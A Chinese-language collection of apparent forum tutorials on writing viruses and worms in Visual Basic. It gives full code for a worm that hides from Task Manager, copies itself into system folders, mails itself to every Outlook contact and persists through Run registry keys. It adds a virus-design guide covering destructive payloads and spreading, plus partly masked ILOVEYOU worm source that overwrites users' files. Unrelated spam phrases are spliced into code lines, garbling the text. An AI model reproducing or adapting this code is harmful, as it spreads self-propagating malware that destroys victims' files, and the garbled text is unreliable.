[资料]VB黑客技术编程系列
制作一个VB蠕虫
------------------------------
你要编写一个蠕虫吗？很简单，只须有基本的编程概念就可以了。如果你没有编程的基本概念，我建议你去学习编程，才读这篇文章。我就在这里教你如何编写一个VB蠕虫吧！
打开Visual Basic，选择“Standard EXE”的Project。移除那个Form，然后加入一个Module。点击Project->Project1 Properties。在弹出来的窗口中，把Startup Object改为“Sub Main”。在Module中，键入以下的编码：
Sub Main()
'TaskVisible的功能是把程序在End Task表中除掉。
App.TaskVisible = False
End Sub
以上的编码只是把程序从End Task表中除掉，没什么作用。现在，让这个VB蠕虫自行复制去别的文件夹。在Sub Main中键入以下的编码：
'阻止问题发生
On Error Resume Next
Dim Location, Location2, DesLocation, DesLocation2
'得到EXE的位置
Location = App.Path & "\" & App.EXEName & ".exe"
Location2 = App.Path & App.EXEName & ".exe"
'设定目的地
DesLocation = "C:\WINDOWS\"
DesLocation2 = "C:\WINNT\"
'开始复制自己
神之墓地2.6a攻略FileCopy Location, DesLocation
FileCopy Location2, DesLocation
FileCopy Location, DesLocation2
FileCopy Location2, DesLocation2
蠕虫自行复制的编码已完成。现在，让蠕虫电子邮寄自己出去吧！键入以下的编码：
Dim Var1, FilePath, FileName, FullLocation, MyApp
Dim Christmas, List, AddList, AddressListCount
Dim Merry, AdEntries, Attachs, Msg
Var1 = "True"
FilePath = App.Path
FileName = App.EXEName
FullLocation = FilePath & "\" & FileName
Set MyApp = CreateObject("Outlook.Application")
If MyApp = "Outlook" Then
Set Christmas = MyApp.GetNameSpace("mapi")
Set List = Christmas.AddressLists
For Each Addresslist In List
If Addresslist.AddressEntries.Count <> 0 Then
AddressListCount = Addresslist.AddressEntries.Count
For AddList = 1 To AddressListCount
Set Merry = MyApp.CreateItem(0)
Set AdEntries = Addresslist.AddressEntries(AddList)
Merry.To = AdEntries.Address
Merry.Subject = "圣诞节快乐!!"
Merry.Body = "圣诞节快乐！这是一个特别个你的圣诞节的礼物！ _
过个快乐的圣诞节!"
Set Attachs = Merry.Attachments
Attachs.Add FullLocation
If Var1 = "true" Then
Merry.DeleteAfterSubmit = True
If Msg.To <> "" Then
Merry.send
End If
End If
Next
Beep
End If
Next
End If
蠕虫电子邮寄自己的部分完成啦！现在，让视窗每次启动时都开启蠕虫。键入以下的编码：
Dim Reg
Set Reg = CreateObject("wscript.Shell")
'把资料写入Registry
完美关系大结局Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ _
Windows\CurrentVersion\Run\Mapi", _
"C:\WINNT\"
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ _
Windows\CurrentVersion\Run\WinMapi", _
"C:\WINDOWS\"
以下是VB蠕虫的完整编码：
Sub Main()
'TaskVis
ible的功能是把程序在End Task表中除掉。
法国香水品牌App.TaskVisible = False
'阻止问题发生
On Error Resume Next
Dim Location, Location2, DesLocation, DesLocation2
'得到EXE的位置
Location = App.Path & "\" & App.EXEName & ".exe"
Location2 = App.Path & App.EXEName & ".exe"
'设定目的地
DesLocation = "C:\WINDOWS\"
DesLocation2 = "C:\WINNT\"
'开始复制自己
FileCopy Location, DesLocation
FileCopy Location2, DesLocation
中国象棋比赛规则
FileCopy Location, DesLocation2
FileCopy Location2, DesLocation2
Dim Var1, FilePath, FileName, FullLocation, MyApp
Dim Christmas, List, AddList, AddressListCount
Dim Merry, AdEntries, Attachs, Msg
Var1 = "True"
FilePath = App.Path
FileName = App.EXEName
FullLocation = FilePath & "\" & FileName
Set MyApp = CreateObject("Outlook.Application")
If MyApp = "Outlook" Then
Set Christmas = MyApp.GetNameSpace("mapi")
Set List = Christmas.AddressLists
For Each Addresslist In List
If Addresslist.AddressEntries.Count <> 0 Then
AddressListCount = Addresslist.AddressEntries.Count
For AddList = 1 To AddressListCount
Set Merry = MyApp.CreateItem(0)
Set AdEntries = Addresslist.AddressEntries(AddList)
Merry.To = AdEntries.Address
Merry.Subject = "圣诞节快乐!!"
Merry.Body = "圣诞节快乐！这是一个特别个你的圣诞节的礼物！ _
过个快乐的圣诞节!"
Set Attachs = Merry.Attachments
Attachs.Add FullLocation
If Var1 = "true" Then
Merry.DeleteAfterSubmit = True
If Msg.To <> "" Then
Merry.send
End If
End If
Next
Beep
End If
Next
End If
Dim Reg
Set Reg = CreateObject("wscript.Shell")
'把资料写入Registry
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ _
Windows\CurrentVersion\Run\Mapi", _
"C:\WINNT\"
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ _
Windows\CurrentVersion\Run\WinMapi", _
"C:\WINDOWS\"
End Sub
你也可以告诉被你蠕虫感染电脑的用户他们的机子被感染了。键入以下的编码：
MsgBox "哈哈！你的机子已被蠕虫感染了！",vbCritical,"蠕虫感染"
做个蠕虫来玩玩吧！不过，不要释放这蠕虫出去，因为它是犯法的。
如果你对这篇文章有任何疑问，请回贴。
这篇文章只是提供教学目的。此文章的任何后果与我无关。
用VB制作定时发作的病毒
--------------------------------
建立一个TIMER控件，把TIMER的Interval属性设置成100
给TIMER控件加入以下代码
Dim a
Private Sub Timer1_Timer()
a = #8:00:00 PM# '发作的时间，自己可以修改
Form1.Caption = Time '把FORM1的标题改成时间
If Form1.Caption = a Then
magbox "病毒发作！", 48, "注意" '这个是时间到了后自动弹出的对话框，也可以把它改成别的。
End If
End Sub
接下来给FORM1加代码
Private Sub Form_Load()
Form1.Visible = False '在初始化过程中隐藏主窗体
For
m1.ShowInTaskbar = False '不在任务栏显示
End Sub
VB编写病毒的大体方法
--------------------------
* 本文章仅供研究、学习 *
相信电脑界的每个人都痛恨计算机病毒，她给我们带来了很多麻烦和损失，可你知道编写病毒的方法和过程吗？在此我仅以VB编写为例，揭开她的面纱。
用VB编写病毒需要考虑到如下几点：
* 感染主机
~~~~~~~~~~
首先染毒文件运行后先要判断主机是否以感染病毒，也就是判断病毒主体文件是否存在，如果不存在则将病毒主体拷贝到指定位置(如：
将病毒文件拷贝到c:\windows\system\)，可用filecopy语句实现；如果病毒已感染主机则结束判断。
例如，判断C:\windows\是否存在，如果有则退出判断，如果没有则证明本机未感染病毒，立即拷入病毒文件。
病毒源文件名为
声明部分：
''定义 FileExists% 函数
public success%
Function FileExists%(fname$)
On Local Error Resume Next
Dim ff%
ff% = FreeFile
Open fname$ For Input As ff%
If Err Then
FileExists% = False
Else
FileExists% = True
End If
Close ff%
End Function
代码部分：
''判断文件是否存在
success% = FileExists%("C:\windows\")
If success% = False Then ''病毒不存在则拷贝病毒到计算机
FileCopy "", "C:\windows\"
... ''修改注册表，将其加入RUN中。(省略若干代码)
End If
* 开机启动病毒
~~~~~~~~~~~~~~
在病毒感染主机的同时，将自身加入注册表的开机运行中，这与向主机拷入病毒是同时进行的，主机感染后不再修改注册表。可通过编程
和调用API函数对WIN注册表进行操作来实现，这样在每次启动计算机时病毒自动启动。(具体编写方法请查阅其它资料)
* 任务管理器
~~~~~~~~~~~~
在任务管理器列表中禁止病毒本身被列出，可以通过编程来实现。
用代码 App.TaskVisible = false 就可以实现；再有就是通过调用Win API函数来实现，这里就不作介绍了。
* 病毒发作条件
~~~~~~~~~~~~~~
可用Day(Date)来判断今天是几号，再与确定好的日期作比较，相同则表现出病毒主体的破坏性，否则不发作。也可用Time、Date或其它方
法作为病毒发作条件的判断。
例：
if day(date)=16 then ''16是发作日期，取值为1-31的整数
... ... ''kill ******* 当日期相符时运行的破坏性代码(格式化、删除指定的文件类型、发送数据包杜塞网路
等，省略若干代码)
end if
* 病毒的破坏性
~~~~~~~~~~~~~~
编写的此部分代码决定了病毒威力的强弱。轻的可以使系统资源迅速减少直至死机(需要你懂得一点蠕虫的原理)，也就是实现开机即死的
效果；也可以加入硬盘代码、系统后台删文件等。重的可以使计算机彻底瘫痪(不作介绍，
你可以参阅其它病毒的有关资料)。
* 病毒的繁殖
~~~~~~~~~~~~
原理很简单，就是将其自身与其它可执行文件合并，也就是两个文件并成一个文件。也可通过E-Mail传播，方法是病毒读取被感染主机的
邮件列表，将带有病毒附件的E-Mail发给列表中的每一个人(这需要你懂得VB网络编程)。
读完本文章相信您已对病毒的编写思路有了初步的了解，如果你是个VB爱好者，你已经可以编写一个很简单的病毒了，但你要是精通VB的话，请不要有编写后传播她的想法，因为传播她造成很大的影响将改变你的命运(被公安抓住就挂了)。
VB病毒:[我爱你]病毒源代码，注：仅提供参考
--------------------------
☆ “我爱你”的病毒源代码(有部分被*号覆盖 ☆
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail / @GRAMMERSoft Group / Manila,Philippines
''Comments begining with '' added by The Hidden May 4 2000
On Error Resume Next
dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
eq=""
ctr=0
*****************
*******************
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
''check the time out value for WSH
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
'' Set script time out to infinity
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
end if
''Create three copies of the script in the windows, system32 and temp folders
文颂娴车震Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
''Set IE default page to 1 of four locations that downloads an executable.
''If the exectuable has already been downloaded set it to run at the next login and set IE''s start
page to be blank
regruns()
''create an html file that possibly runs an activex component and runs one of the copies of the script
html()
''Resend script to people in the WAB
spreadtoemail()
''overwrite a number of file types with the script
''if the files are not already scripts create a script file with the same name with vbs extention and
''delete the original file
''mirc client have a script added to send the html file created earlier to a channel
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num, downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread = ""
downread = regget("HKEY_CURRENT_USER\Softwar
e\Microsoft\Internet Explorer\Download Directory")
if (downread = "") then
downread = "c:\"
end if
if (fileexist(dirsystem&"\") = 1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","www.skyinet/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679nj
"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","www.skyinet/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGb
vbmKLJKjhkqj4w/
<"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","www.skyinet/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WI
<"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","www.skyinet/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglk
NBhbqwebm
znxcbvnmadshf
"
end if
end if
if (fileexist(downread & "\") = 0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "about:
blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path & "\")
******
******
*******
********
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext = fso.GetExtensionName(f1.path)
ext = lcase(ext)
s = lcase(f1.name)
if (ext = "vbs") or (ext = "vbe") then
set ap = fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext = "js") or (ext = "jse") or (ext = "css") or _
(ext = "wsh") or (ext = "sct") or (ext = "hta") then
set ap = fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname = fso.GetBaseName(f1.path)
set cop = fso.GetFile(f1.path)
fso.DeleteFile(f1.path)
elseif(ext = "jpg") or (ext = "jpeg") then
set ap=fso.OpenTextFile(f1.path, 2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3 = fso.CreateTextFile(f1.path & ".vbs")
mp3.write vbscopy
mp3.close
set att = fso.GetFile(f1.path)
动力火车资料att.attributes = att.attributes + 2
end if
if (eq<>folderspec) then
if (s = "") or (s = "") or (s = "mirc.ini") or _
(s = "script.ini") or (s = "mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit mIRC will corrupt, if mIRC will"
scriptini.WriteLine